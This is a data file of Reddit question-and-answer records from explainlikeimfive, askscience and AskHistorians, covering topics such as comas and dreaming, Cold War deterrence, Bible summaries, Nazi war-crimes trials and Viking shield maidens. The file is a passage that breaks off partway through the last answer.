{"q_id": "853nhj", "title": "When you are in a coma, do you go through sleep stages like REM or deep sleep?", "selftext": "My Dad is currently in hospital at the moment and is in a medically induced coma and I was wondering whether or not when people get put into a coma, induced or not, whether they go through the three stages and following from that. Do they dream?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/853nhj/when_you_are_in_a_coma_do_you_go_through_sleep/", "answers": {"a_id": ["dvvvusx"], "score": [3], "text": ["Comatose patients\u2019 brains often show no signs of the normal sleep-wakefulness cycle, which means they are unlikely to be dreaming. However, many people who have recovered from comas report dreams into which something of the outside world penetrated.\n\nThere was a similar question asked a number of years ago, so I hope you find some answers/comfort [here](_URL_0_) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskReddit/comments/288i38/redditors_who_have_been_in_a_coma_did_you_dream/?st=JEWK4ANU&amp;sh=5feb83b2"]]}
{"q_id": "3r9f4t", "title": "how can anonymous prove that the names of the senators and mayors released are actually a part of the kkk?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3r9f4t/eli5how_can_anonymous_prove_that_the_names_of_the/", "answers": {"a_id": ["cwm2nla", "cwm302d", "cwm3b70", "cwm5clq"], "score": [38, 26, 7, 2], "text": ["They can't. And that's kind of the point of being anonymous; you don't have to stand by anything you say, so there's no need for you to substantiate anything.\n\nIn this case, there's no way of telling the difference between someone who is a member of the KKK and someone who is on their mailing list.", "They release that Sen. Smith was active with a particular chapter of the KKK from 1972 to 1981.\n\nThe press and other investigators then go try to find corroborating evidence, that's where the real proof comes in.\n\n", "Funny how virtually nobody defended the \"members\" of Ashley Madison when Anonymous leaked their info.   But so far, this whole thread is defending those on the list and condemning anonymous for releasing info.", "They could presumably release documentation- IE, actual records of dues paying members. \n\nOr personal cellphone/Email records.  Presumably, a senator, if they were in the KKK, wouldn't have the Kleagle calling their public line. \n\n Simply saying \"We hacked the KKK and found these names and e-mails\" means very little. The KKK is a very small set of groups, so they're always trying to make themselves look bigger.  It's also possible that they were, you know- emailing these people, or were contacted by robocalls. \n\nSo far, I've seen no indication of what context these names were found in-a list of names and numbers on the KKK server means very little. Not to mention that ultimately, you're placing your faith in the KKK's documentation practices. \n\nFrankly, for any high public official to be in with the KKK seems- mondo weird.  Not in a \"I can't believe ANY politician is that racist!\" way, but in a \"I can't believe any politician is that bad at politics\" way.  \n\nRobert Byrd was with the KKK in his youth (and to his credit, owned it, repudiated it publicly, and worked on civil rights stuff his whole career- don't like the man much, but credit where it's due).  But at that time, the KKK had real political power a lot of places- doesn't mean they were NICE, but it made political sense to get cozy with them. \n\nNow- they've got like 400, 500 members in a state. Even including family and sympathizers, that's very, very, very few votes, in exchange for the risk of immediate political suicide. \n\nAnd the Klan is more or less collapsed- indications are that the only reason many groups survive is the regular dues paid by....FBI/LEO infiltrators. \n\nI'm not saying that hate groups don't exist, or aren't a problem- but given what we know about the KKK and politicians, you'd need to see like, some canceled checks for dues, or direct personal data before you consider that someone is a member.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "11g2gu", "title": "- why is new mexico such a blue state (democratic party voting) when every state around it usually votes republican?", "selftext": "Arizona, Utah, Texas, and other western states are tending to vote strongly republican. New Mexico seems to be an outlier. Why?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/11g2gu/eli5_why_is_new_mexico_such_a_blue_state/", "answers": {"a_id": ["c6m67ye"], "score": [8], "text": ["It has a significantly higher Hispanic and Native American population than the rest of the country, and those two groups generally vote democratic.\n\n_URL_0_\n\nOnly 40% Non-Hispanic White, and 10% Native American.\n\nNearby Arizona, on the other hand, is 58% NHW, and only 5% Native American.\n\n_URL_2_\n\nGreat, not very LI5 article on how NM has gotten way more blue over the last 3 elections cycles, if you are interested:\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/New_mexico#Race_and_ancestry", "http://www.slate.com/articles/news_and_politics/politics/2012/10/new_mexico_has_become_a_safe_democratic_state_because_of_a_growing_hispanic_population_native_americans_and_bad_republican_talking_points_.html", "http://en.wikipedia.org/wiki/Arizona#Demographics"]]}
{"q_id": "1448e3", "title": "What would we hear if we played a sound with a frequency of 10000 Hz 200 times a second?", "selftext": "By 200 times a second I mean a situation when the sound would be played for 2,5 ms, followed by 2,5 ms of silence. Would we hear a sound with a frequency of 10000 Hz, 200 Hz, or something entirely different?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1448e3/what_would_we_hear_if_we_played_a_sound_with_a/", "answers": {"a_id": ["c79qli9", "c79rpr8", "c79ym7d"], "score": [24, 22, 2], "text": ["_URL_0_\n\nI made this using a frequency modulation synth.  the last tone is a 200hz square wave being modulated by a 10khz sine wave.", "It would sound a lot like 200hz. Any type of sound repeated evenly 200 times a second would sound like 200hz - the shape of the sample affects different aspects of the sound, but not the pitch. \n\nThe brain's capability of interpreting soundwaves as a pitch, depending on the shape of the wave, starts at 10-20Hz. So any sample you repeat more than this threshold is going to be interpreted as a sound with that pitch.  \n\nHow about, say, a 10000hz frequency 2 times a second, then? Well, the brain isn't capable of interpreting something that repeats itself 2 times a second (=2Hz) as a pitch in itself, so you would just hear an unpleasant 10000hz sound 2 times a second. As the frequency it's repeated goes up from 2 and reaches the threshold you would be able to 'hear' that low frequency, but still be able to make out the 10000Hz tone. ", "You would hear the Fourier transform of this signal. You would hear many frequencies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://soundcloud.com/librans/10khz"], [], []]}
{"q_id": "176v8x", "title": "What was lost in the Holocaust in terms of human capital? Was there a shortage of certain craftsmen, professors, etc.?", "selftext": "I imagine that since the Nazi regime particularly targeted intellectuals that there must have been a void in some fields.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/176v8x/what_was_lost_in_the_holocaust_in_terms_of_human/", "answers": {"a_id": ["c82u61g", "c8376d1"], "score": [3, 2], "text": ["I won't speculate on the entire holocaust but for a sense of what humanity lost during WWII, the Katyn massacre (although done by the USSR against the Poles) shows some of the cruel mindset that led to such losses of life.\n\n >  \"The victims were Polish officers and cadets, about half of whom \nwere reservists from key civilian professions:  doctors, lawyers, \nteachers, clergymen, and the like.  They represented the leading, \neducated elements--\"the best and the brightest\"--of Polish society.\"\n\n >  There were a number of motives for the killings.  Foremost was the \n\"liquidation\"--the Communist euphemism for extermination--of the social \nand intellectual leadership elites of Poland, as the initial step to \neliminating that independent, anti-Soviet (and, historically, frequently \nanti-Russian) nation, permanently.  In 1939, Soviet Foreign Minister \nMolotov had gloated, \"One swift blow to Poland, first by the German Army \nand then by the Red Army, and nothing was left of this bastard of the \nVersailles Treaty.\"\n[Source](_URL_0_)\n\nPoland may be an extreme example, but there was certainly an attempt, by both the Nazis and USSR to rid countries of those who opposed them or may have threatened their rule for political, religious or other reasons. Hopefully a historian can answer you more directly.\n", "A number of scientists in Allied countries had fled Europe when they saw the writing on the wall.  Scientists such as Fermi, who worked on the Manhattan Project, Einstein, who actually did very little work on the Manhattan Project and instead did some work with the American army, and as such even if they weren't killed their expertise was lost to the European Axis nations.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ibiblio.org/pub/academic/history/marshall/military/wwii/special.studies/katyn.massacre/katynlrc.txt"], []]}
{"q_id": "4xtc68", "title": "More info about Italian Resistance and my grandfather's", "selftext": "Hey there everyone! My grandfather was born in a small village in Potenza, Italy and fought in the WW2 for the Italian Resistance (Partisan movement). He died when my father was a little kid, so my father doesn't remember much as well, except that he fought \"for the King's Army\" (which i suppose it was Victor Emanuel III).\n\nSo i would like to know more about the Italian resistance movements in Southern Italy and try to identify the insignia on my grandfather's cap (i don't know if this is a military attire).\n\n_URL_0_\n\nThanks!\n\nEdit: sorry for the incomplete title. I forgot that i cannot edit it =|\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4xtc68/more_info_about_italian_resistance_and_my/", "answers": {"a_id": ["d6igz8k"], "score": [2], "text": ["Hello there! As your question is related to looking for identification/information regarding military personnel, our [Guide on Military Identification](_URL_0_) may be of use to you. It provides a number of different resources, including how to request service records from a number of national agencies around the world, as well as graphical aids to assist in deciphering rank, unit, and other forms of badges or insignia. While the users here may still be able to lend you more assistance, hopefully this will provide a good place to start!"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/BAJaC"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/militaryrecords"]]}
{"q_id": "60jy6v", "title": "what is the bible all about?", "selftext": "I've never read it nor opened it. Like tell a summary that encompasses all the books in the series.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/60jy6v/eli5_what_is_the_bible_all_about/", "answers": {"a_id": ["df6zrn4", "df70dc3", "df70iry", "df70rdm", "df70z3p", "df738wi", "df7cy9p", "df7gln5", "df7hcpg"], "score": [16, 2, 3, 2, 2, 5, 2, 3, 10], "text": ["God made everything.\n\nMan lived in paradise but fucked it up by giving in to temptation. Now we have to live in the real world.\n\nJews are the chosen people for whom God revealed the rules on how to live.\n\nHere are the rules on how to live correctly, and stories about bad shit that happened to people who didn't follow the rules.\n\n********\n\nGuy named Jesus comes along, and he's the literal son of God. He's here to correct all the mistakes we've made in trying to live correctly.\n\nJesus choses to die and in doing so allowed everyone to be forgiven of the mistakes they've made, as long as they say sorry.\n\nBunch more stuff on how to live correctly, with Jesus' updated teachings.", "That's the thing, no one agrees as to what it's about. Religion exists to explain it to you in one particularly idiomatic way. If you were to read it cold, without someone right there to \"explain it\" you'd end up even more confused at Christian churches. You'd be asking yourself, \"How did they get from that book to that religion?\"\n\nThere are some interesting cliff notes versions here. ", "A megalomaniacal God character creates a universe, gets pissed when his creation doesn't realize how \"awesome\" he is, and punishes them with eternal suffering. He then realizes he's been a bit of a dick, so he sends his son to get tortured and murdered by his creation, to save his creation from himself. As if he wasn't unbearable enough before, he now demands abject praise and worship for giving his creation the gift of not being punished eternally for not realizing how incredibly cool he is.", "That'll be kind of hard, because 1) the Bible is a collection of Bronze Age fables and allegories that a few people take ***WAY TOO SERIOUSLY***, and 2) the Old Testament has 39 different books and the New Testament has 27.\n\nThe first five are called the *Torah* in Judaism.\n\n* Genesis is \"God creates the world, kills the world, and then kills at random to test people's faith in him.\"\n* Exodus is \"God kills the Egyptians in a very roundabout way for enslaving the Israelites and then fucks with the Israelites while they wander a desert for *forty years*.\"\n* The first nine chapters of Leviticus are a list of very detailed instructions for animal sacrifice and the rest are enumerating various moral laws (including the infamous \"Homosexuality is punished by death\" proclamation).\n* Numbers is \"Hey, Israelites, the Canaanites are living in your Promised Land. Go kill them.\"\n* Deuteronomy is \"Here's how we got here from Egypt, now worship God or else.\"\n\nThe Old Testament's God *loved* killing people. Like, *a lot*.", "Part 1 is about controlling people with laws made by a supernatural megalomaniac. \n\nPart 2 is about controlling people with laws made by a supernatural megalomaniac and not being a jerk to other people about it. ", "The first part of the bible is mostly a history of the jewish people, a recounting of stories of kings and wars, a listing of laws, a geneology, and a creation mythology. Some books delve much closer looks at individual people who are considered important or whose lives serve as useful morality stories. Throughout is the pervasive thread of how rises and falls of fortune are attributable to God. There are also books of prophesies, books of poems/songs (psalms), and books of quotes to live your life by (proverbs).\n\nThe first 4 books of the new testament are three different tellings of the life, teachings, and death of Jesus. Most of the rest of the new testament is stories of those and subsequent followers and the establishment of the church. Many of these, rather than written histories, are a collection of letters from notable church leaders to different congregations around the greco roman area (corinthians (church in corinth), ephisians (chuch of Ephesus, etc.)\nIt is capped off by a dream transcription that is seen as a prophesy  (revelations).\n\nI'm sure i skipped a lot, but that's the gist.\n\nPart 1: everything a young jew needs to know about their history and culture to geow up to be a good jew\n\nPart 2. How to be a good christian.", "There is a story In the Talmud that a man came to shamai who was a great sage and asked him can you teach me the whole Torah (bible) on 1 foot so he got upset and told him to go away so this man went to the next sage hillel who was known to be a very kind man and he asked him the same question can you teach me the whole Torah on one foot so hillel said whatever you hate for yourself do not do to your friend and the rest is commentary. \n\nThe commentaries on the Talmud explain this story that obviously you can't try to understand or know the whole Torah quickly it takes a lot of time to study everything and understand everything and hillel was teaching him a lesson that you have to know before you begin studying and once you have to this lesson engraved inside of you then you can begin studying.", "This thread really brought out the edgelords, huh?", "The \"Old Testament\" is a collection of various books, referred to by Jewish people as the *Torah*. The main five books of the *Torah* are:\n\n* Gensis: How God made the world\n* Exodus: The Jews escape slavery in Egypt\n* Leviticus: A collection of laws and rituals that should be followed\n* Numbers: The Jews wander the desert for 40 years and finally make it to the promised land\n* Deuteronomy: A collection of speeches by Moses on how to properly live within the promised land\n\nThe \"New Testament\" is a collection of gospels and speeches by the disciples of Jesus, who in Christianity is believed to be the son of God, as well as an aspect of God himself. The many Gospels outline the life of Jesus, leading to his crucifixion by the Romans, and his ultimate rebirth and ascent into Heaven after three days of torment in Hell.\n\nJewish people follow most of the rules outlined in the *Torah*, and do not believe in the divinity of Jesus, and thus don't teach or follow the Gospels. Christians tend to follow more of the Gospels, believing it is evidence of a new agreement with people and God, teaching mostly from them rather than from the *Torah*.\n\nIf you're curious about reading about the main events in it but more accessible, there's an old book from the 90's called *The Book of God, The Bible as a Novel* that's a pretty good read and tells a lot of key moments in a more modern format, rather than as translated passages from a thousands of years old text."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "32v6lg", "title": "To my knowledge, the international community thought they had done enough to prevent another world war after the first one. What changed in the aftermath of WWII that caused the lengthy period of peace that we're in?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/32v6lg/to_my_knowledge_the_international_community/", "answers": {"a_id": ["cqeyuzl"], "score": [2], "text": ["The cold war and Mutually Assured Destruction. I was born in 1958, on a DEW line (Distant Early Warning) station in Churchill, Manitoba. It was one of dozens of such radar stations staffed by American and Canadian military personnel(dad was a cook), in a joint effort to detect the approach of nuclear missiles from the USSR. So we could launch our own missiles before the Russian missiles reached their targets, and their cities would die about 12 minutes after we died. Thus mutually assured destruction, and the detente that was called the cold war. NATO vs. the Communist Bloc. WWIII was commonly touted in the media as non-survivable at a planetary level. Both sides were wary of engaging in a frontal war of the scale of the first two world wars for fear that the conflict would escalate to a nuclear exchange and worldwide devastation. They called it nuclear winter.\n\n_URL_0_\n\nSo they had little proxy wars instead, each side feeding rebel groups and dictators with weapons and training cadres of elite troops, seals vs. spetsnaz in Korea, Viet Nam, South America, the Middle East, Africa. Spies stealing technological blueprints with mini cameras, crossing borders in the dark. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Mutual_assured_destruction"]]}
{"q_id": "4etxfm", "title": "what's the us 40 year old ban on oil exports?", "selftext": "I'm doing a government project on oil policy and there are references to this oil ban everywhere. If anyone could provide special insight here it would be hugely appreciated.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4etxfm/eli5_whats_the_us_40_year_old_ban_on_oil_exports/", "answers": {"a_id": ["d23ap59"], "score": [2], "text": ["Short version: massive oil shortages in 1975 caused the US to want to keep all of its limited production of oil in the country (so we could go to war against the Soviet Union, if needed).  That changes, but the ban stayed in place until 2015. \n\n[Here](_URL_0_) is an article about it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://theweek.com/articles/595142/americas-oil-export-ban-explained"]]}
{"q_id": "2w50ew", "title": "when a movie company is spending, say, $150 million on a film, why don't they have big-time critics give it a look, say what they hate about it -- then go make a bunch of changes before they release it? what's another $20 million?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2w50ew/eli5_when_a_movie_company_is_spending_say_150/", "answers": {"a_id": ["conmlru", "conmpte", "conmz0d", "conn151", "conp3tl", "convvsa", "conxvoy", "coo76oo"], "score": [105, 32, 25, 6, 12, 3, 2, 2], "text": ["For one, while there is some correlation between films doing well with critics and films doing well in the box office, there are plenty of examples of films getting hated by critics and earning fucktons and films doing great with critics and not even breaking even.", "Some do pre-screenings for test audiences to see how they react to certain scenes and may make changes based on the findings.", "They kind of do. They don't hire critics, but they bring in focus groups to watch the movie and give feedback.", "Movie companies have a lot of ways of knowing whether their movie is going to get panned before it's released - they run it in front of test audiences, they have people within the company that know movies, etc. In a lot of cases, though, the cost of improving the quality of the movie isn't worth the benefit of whatever critical praise it'll get.", "The initial cost of a movie doesn't factor into the decision; the $150 million is a sunk cost. You don't throw good money after bad. If the movie is bad, they have to decide how much a change in quality will affect revenues. If spending $20 million nets the studio an extra $50 million in revenue, they will spend it. \n\nRumor has it that Universal pretty much completely changed 47 Ronin halfway through shooting, and ended up costing $175 million:\n\n_URL_0_\n\n", "most film makers know what they're doing, critics don't go to special schools or anything to determine if a film is good or not. What makes a film financially successful is often the marketing and how smoothly the production went, shitty films make heaps of money all the time.", "Studios care more about audience opinion than critic opinion. They do often have test screenings, and then sometimes make changes based on what the audience says. The reason they do that with normal people rather than critics is that they would rather have a marketable movie than a critically acclaimed one. Also, critics are not automatically screenwriters too and wouldn't necessarily have helpful advice.", "What critics think and what the public will buy are not related.  Movie companies are in the business of making money, first and foremost.  If they know the public will see the movie regardless of changes they don't need to do anything - why waste money?  Usually movies in that budget range are to solely make money and not to showcase artistic styles or deep plots.\n\nA good example with TV is Breaking Bad.  The plot and production values of BB were off the charts and critics and the public loved it.  Yet reruns of CSI:MIami on a normal network had more viewers than BB.  The reason is because some companies want to produce art and make money while others want to make money and hope to create art in the process."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://collider.com/47-ronin-carl-rinsch-fired/"], [], [], []]}
{"q_id": "3b7l2o", "title": "why does my orgasm feel more intense when i curl my toes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3b7l2o/eli5_why_does_my_orgasm_feel_more_intense_when_i/", "answers": {"a_id": ["csjky33", "csjl7jm", "csjl7ou"], "score": [2, 2, 2], "text": ["I think you might have cause and effect mixed up here. I don't think it's more intense because you curl your toes, I think people curl their toes because it's more intense for some other reason.", "It has everything to do with our lips, tongues, fingers, genitals, anus and toes being on the same neural pathway. This is the same reason people stick out their tongues when doing very delicate work with their hands. ", "Corellation is not always causation. I think you're curling your toes because of the intensity of the orgasm, not the other way around.\n\nThough... If at some point, you 'told yourself' that you have better orgasms when you curl them, we know the placebo effect is real. You might have psyched yourself into better O's.\n\nRock on."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3km17t", "title": "why are/were governments still going after 90 year old nazis when current government heads around the world have committed some of the same crimes or worse?", "selftext": "Watching a documentary called Last Nazi. There's a guy on trial for killing 14 or so people in a barn. 90-something years old. Why aren't U.S. presidents, and other world leaders enjoying the same fate? Or even military personnel or government contractors? We've all read the news... what gives?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3km17t/eli5_why_arewere_governments_still_going_after_90/", "answers": {"a_id": ["cuyjhqa", "cuyjon9", "cuyk4k4", "cuymez5", "cuypi58", "cuytgks", "cuytt02", "cuyuic4"], "score": [5, 3, 3, 48, 4, 4, 12, 3], "text": ["Some countries including the US I think haven't ratified the ICJ or ICC or both of the treaties. So citizens from their countries can't be tried right? ", "I've wondered the same thing. Here's some examples:\n\n[Harold C Hodge (famous for his efforts in water fluoridation) was head of the United States AEC (successor to the Manhattan Project) Division of Pharmacology and Toxicology. In 1945, he attended a meeting and gave suggestions for unethical experiments involving patients injected with uranium smuggled into a hospital secretly through a tunnel](_URL_3_)\n\n\n[Project MKULTRA](_URL_1_)\n\n[Tons more info on human experimentation in the US](_URL_0_)\n\n[Ugly past of US human experiments uncovered](_URL_4_)\n\n[A Bag Trip To Edgewood](_URL_2_) (documentary)\n\n_URL_5_ (This is a weird one because the Japanese criminals were not prosecuted. They traded human medical data for immunity, and some of them ran corporations and stuff like that afterwards)", "Dick Cheney is only 74. Give it another 15 years, then someone might nut up and start going after him and his cronies.", "Germany lost the war. That's it. You win, you get to make the rules.\n\nIf the Allies lost the war you'd have seen the SS or IJA hunting top generals and officers. in Canada or whatever.", "Nazi war crimes are prosecuted to the maximum extent because of how close they came to actually succeeding. Under most other circumstances, you could just wait it out and maybe the next generation or two might forget about it.\n\nThe thing with Nazis is that international courts mutually agreed to never allow the world to forget about what they did. So even if they are too old to shoot a Kar98k or even stand up in court, they will be tried, convicted, and punished. \n\nSome later regimes did some terrible things, but that's true of pretty much every nation's regime at some point. The key thing here is that Nazism will never again gain power if the international courts have anything to do with it. ", "The allies like to trot out the 'remember all the heroic ww2 stuff that we did' and 'us good, nazis bad', because it works so well as a distraction from all the horrible shit they have done and continue to do on a daily basis.\n\nIt's just too tempting for the average thinker to turn history into some kind of simple story with good guys and bad guys, and if the nazis were bad guys (and they were), then their enemies must have been good guys.  I would argue that the ruling class of most countries are probably depraved villains in general, each with their signature style.  I'm drunk", "From what I've heard it's about setting A precedent for ethnic cleansings. By persecuting a 90+ year old camp guard who was press-ganged in his teens to serve the nazis we may not dish out justice, but we create a much needed framework for these types of crimes.\n\nPersonally i feel that persecuting a person 70 years after their crimes is terribly unfair, as you could hardly be considered to be the same person after all that time.", "Nazis made the worst crimes in History not because of the number, but because of the \"how\" and \"why\". Nazi ideology is by far the most fucked up way of thinking I have ever seen (and that means a lot, with ISIS ideology). Ask yourself why Mein Kampf is forbidden in most countries over the world and it's nearly impossible to find Nazis books. They completely deserve to be hunted until their death.\n\nAnd then, the fact that US presidents are from the US help a lot to not be arrested."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Unethical_human_experimentation_in_the_United_States", "http://www.princeton.edu/~achaney/tmve/wiki100k/docs/Project_MKULTRA.html", "https://www.youtube.com/watch?v=R1GAaWy3HTw", "https://en.wikipedia.org/wiki/Harold_Hodge", "http://www.nbcnews.com/id/41811750/ns/health-health_care/t/ugly-past-us-human-experiments-uncovered/", "https://en.wikipedia.org/wiki/Unit_731"], [], [], [], [], [], []]}
{"q_id": "3whfr9", "title": "\"i received this product at a discounted rate in exchange for my unbiased review.\"", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3whfr9/eli5_i_received_this_product_at_a_discounted_rate/", "answers": {"a_id": ["cxw8xwn", "cxw919f", "cxwa2mc"], "score": [2, 3, 2], "text": ["I'm not sure what exactly the question is, but most of the time, when a website or person is reviewing a product, they receive it free of cost from the manufacturer (or at a discounted rate, though that seems more rare).\n\nIf you're just starting out, manufacturers aren't likely to furnish products for free or at a lower than market rate, but for bigger websites/youtube reviewers, there's a benefit to giving out the product for free because it means you'll get a lot of exposure with no barrier to entry for the person reviewing the product.", "Affiliate marketing is easy to view as difficult to be unbiased, and granted, in many cases it does not stay neutral.  If you look at it as a single-use case, then yes, it can stack unfavorably.  \n\nImagine I own a blog and YouTube channel, and I review gaming headsets.  If I only ever do it one time, I'm going to have a hard time not being influenced by the sweet deal I just got on some tritons. \n\nBut, let's say I review a lot of stuff. On average, I review headphones, monitors, 3rd part controllers, chairs, etc.  For this example, I make regular content weekly, and am trying to make a name for myself as a product critic. It's in my best interest to be accurate, because that can be appealing to potential partners.  \n\nTo be fair, I rarely hear a reviewer claim that the content would be unbiased. A lot of them express gratitude for the opportunity, and then give their opinion on the product.  That is, by definition, biased.  It's kind of the point. ", "The FTC (Federal Trade Commission) has rules for what you can/can't do for endorsements and testimonials. Often, to play it safe, it's better to say that you received it for free for testing.\n\nSource: _URL_0_ \n\nand \n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.ftc.gov/tips-advice/business-center/guidance/advertising-marketing-internet-rules-road", "https://www.ftc.gov/sites/default/files/attachments/press-releases/ftc-publishes-final-guides-governing-endorsements-testimonials/091005revisedendorsementguides.pdf"]]}
{"q_id": "80m0aw", "title": "In WWI, did any of the Christian allies still hold the ideal of 'retaking the holy land'?", "selftext": "Or any time during the modern period, really, I just thought WWI would be the best expamle. Did any of the Christian allies have goals for retaking Jerusalem (from the Ottomans, in the case of WWI) and surrounding areas for holy purposes?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/80m0aw/in_wwi_did_any_of_the_christian_allies_still_hold/", "answers": {"a_id": ["duwwa8w"], "score": [3], "text": ["Sort of? At the strategic level, allied war aims were generally quite practical, and I think you could argue much better conceived than any of the strategic aims on the western front. These included what I would describe as three primary goals: 1. Initially, to protect the Suez Canal from Ottoman incursions as a defensive measure, then, upon taking the offensive, thecreation of a buffer territory on the far side of Sinai to protect the Suez Canal. 2. Securing Mesopotamia, in general to protect the Persian gulf and at least initially to guarantee oil supplies from Persia through Basra. 3. Securing the Bosporus Straits.\n\nThese three aims corresponded to three major military campaigns: the Gallipoli landings, the British expeditionary force in Mesopotamia sent from India, and the defense of the Suez Canal which then transitioned into the Palestine campaign.\n\nFrom this strategic perspective, at least on the British side and as outlined by the war aims described by the DeBunsen commission, \u201choly purposes\u201d didn\u2019t really enter into the equation.\n\nAt the political and personal level, however, it was a different question entirely. For instance, in the political wrangling over what would eventually become Sykes-Picot, French claims to Syria were in part based on their Crusades-era occupation of the area. Their claim to what would become Lebanon, in particular, was based on their Catholic affinity with the then-majority Maronites.\n\nPalestine, and Jerusalem in particular, were so politically contentious between Britain (Protestant), but especially France (Catholic) and Russian (Orthodox), which denominations have the largest and oldest presence in the city, that in negotiating the Sykes-Picot agreement (which now included the Russian minister Sazonov) that they simply shaded the territory in brown and said it would be an international zone.\n\nThe religious motivation for the Balfour Declaration is also worth noting. While the most prominent Zionists of the day were basically secular Jewish nationalists like Chaim Weizmann, their gentile interlocutors in the British government often had other ideas. Both Balfour and David Lloyd-George were men with a strong Christian background and upbringing, and although the British government had other aims in mind as well (some practical, some, ironically, actually anti-Semitic) they nonetheless found the notion of restoring the Jews to the Holy Land to be a deeply appealing one.\n\nLastly, the symbolism of the capture of Jerusalem and Palestine itself was not lost on the commanders on the ground. Though they wanted to avoid fomenting sectarianism or holy war among Ottoman Muslims, Crusader imagery and terminology was unavoidable. General Allenby, on taking the city, is reported to have said \u201cOnly now have the Crusades ended.\u201d\n\nAlthough the United States did not declare war on the Ottoman Empire when it entered the war, Wilson\u2019s 14 points forced the allies to reevaluate many of these aims and goals. National self-determination became the watchword, despite the publication of Sykes-Picot by the Bolsheviks in 1917, which the Ottomans tried to use to foment popular anger. In any event, the end result was a final settlement that at least in theory was based much more on the modern conceptions of rights, international order, and self-determination (even if in practice it was just the same old imperialism) than it was anything based on crusades and holy land.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6c086y", "title": "why do baby curls tend to go away with age?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6c086y/eli5_why_do_baby_curls_tend_to_go_away_with_age/", "answers": {"a_id": ["dhr4eke"], "score": [9], "text": ["To break a mother's heart? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "99yysn", "title": "Did Viking Shield Maidens really exist?", "selftext": "Did Norse women ever take up arms and fight?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/99yysn/did_viking_shield_maidens_really_exist/", "answers": {"a_id": ["e4s7vio"], "score": [16], "text": ["Well.. as usual with these questions we should separate two groups: One is The Vikings, the noble savages of pop culture, pop history, and 19th century romanticism. The bearded warriors whose exploits are chronicled in the Sagas, who believed in the elaborate mythology of the Eddas, who braved the oceans in their dragon ships while wearing their horned helmets. Tons and tons have been written about these figures, and they are elaborately documented.\n\nThe other group would be the Viking Age Scandinavians who _actually existed_. About this group far less is known. They left no writings on paper or parchment, and only a few thousand short (and mostly formulaic) inscriptions on stone. Very few contemporary foreigners witnessed them in their own countries and wrote about it. What we have in writing about their lives is mostly second-or-higher-hand accounts of them written by people in foreign countries who had religious biases against them. Or they were written down in the same countries but centuries later (and by people with the same religious biases). We don't really know how this IRL group relates to the former romantic one, although we certainly know they don't fully match the descriptions. \n\nShield-maidens would belong to the former category. They're well-attested in the Sagas and Eddas, but there are no eyewitness accounts of Scandinavian women fighting in battles. For instance, Saxo Grammaticus tells us all about shield-maidens at the Battle of Br\u00e5valla (Br\u00e1vellir), which he basically makes out to be an extravagant Viking Olympics blowout where a gazillion fighters from every corner of Scandinavia shows up to chop each other up and even Oden himself gets involved at the end. Yet, apart from the fact that several places named Br\u00e5valla do exist (and they've all been proposed as locations for the battle), there's no evidence whatsoever that the battle ever happened. In any form. And not for lack of looking for it.\n\nSo with no hard evidence either for or against the existence of female warriors (much less Shieldmaidens or Valkyries) there's been plenty of debate. The evidence that would be cited in favor of them, is mainly that there are a number of female graves with weapons in them from the Viking and Vendel ages. Both in Norway, Denmark, Sweden and even Finland (where a lady had the fabulous Suontaka sword with her in death, the one seen in the [center here](_URL_1_)) Some specific grave sites are Oseberg, Kaupang, Flisa, Gerdrup.. four graves in Birka alone had female skeletons with weapons. Some of these have been explained with bones getting mixed up, or men being buried together with women where the male bones have disappeared. Stefan H\u00f6gberg (Swedish historian who wrote the book on the subject _Kvinnliga Krigare_ (2017) 'female warriors') argues that there are turning out to be a bit too many of those 'disappearances' to explain it all, and I'm inclined to agree. There's also been a bias to interpret any grave with uncertain gender as male if weapons were present.\n\nSome of the graves are filled with lots of other grave goods (Oseberg is a very rich one, and was therefore often described as a \"queen's grave\"). In those cases the swords may be just another indicator of great wealth in the burial of a wealthy, high-up individual. 